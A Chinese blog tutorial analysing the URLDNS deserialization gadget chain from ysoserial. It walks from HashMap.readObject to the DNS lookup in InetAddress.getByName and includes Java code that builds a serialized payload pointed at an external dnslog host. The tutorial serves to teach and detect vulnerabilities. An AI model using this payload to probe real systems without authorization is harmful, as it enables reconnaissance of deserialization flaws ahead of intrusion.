JAVA反序列化之URLDNS链

2024-11-01 21 0

背景

URLDNS是ysoserial中最简单的⼀条利⽤链,因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使用:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

前言

首先,我认为Java反序列化的挖掘,主要分为一下三个方面:

  • 入口类
  • 目标类
  • 执行函数(rce、文件上传、ssrf)

分析

  • HashMap类中,重写了反序列化的方法,即readObject()方法。

  • readObject()方法调用了hash()方法。

  • hash()方法调用了Key值的hashCode方法。(Object key 我们可控,即需要寻找一个类中存在hashcode方法且可以序列化)

  • 定位到URL类,存在hashcode方法且可以序列化。

JAVA反序列化之URLDNS链插图3

  • 跟进URL类的hashcode方法,进入getHostAddress方法。发现调用了getByName(host)获取目标ip地址,会发送一次DNS请求

JAVA反序列化之URLDNS链插图5

JAVA反序列化之URLDNS链插图6

思路总结

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

小插曲

put方法也会调用hash()方法,我们的dnslog也会收到请求,迷惑我们以为攻击成功,其实不然。果然代码审计也要熟读孙子兵法

hashmap.put(url,1);
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

但是请求一次后hash值会改变,这样我们就无法执行hashCode方法了。

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

所以在写链子的时候,我们就用到了反射这个知识点,修改URL类中hashCode的值。

反序列化链

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
//Person person = new Person("zhangsan", 24, 1213);
//支持序列化,重写了readObject方法,是一个很好的入口类。
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://shenyuan8.dnslog.pw");

Class c = url.getClass();
Constructor constructor = c.getConstructor(String.class);
//修改URL类中的私有变量hashCode
Field code = c.getDeclaredField("hashCode");
code.setAccessible(true);
code.set(url,123);
hashmap.put(url,1);
code.set(url,-1);
serialize(hashmap);


}

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论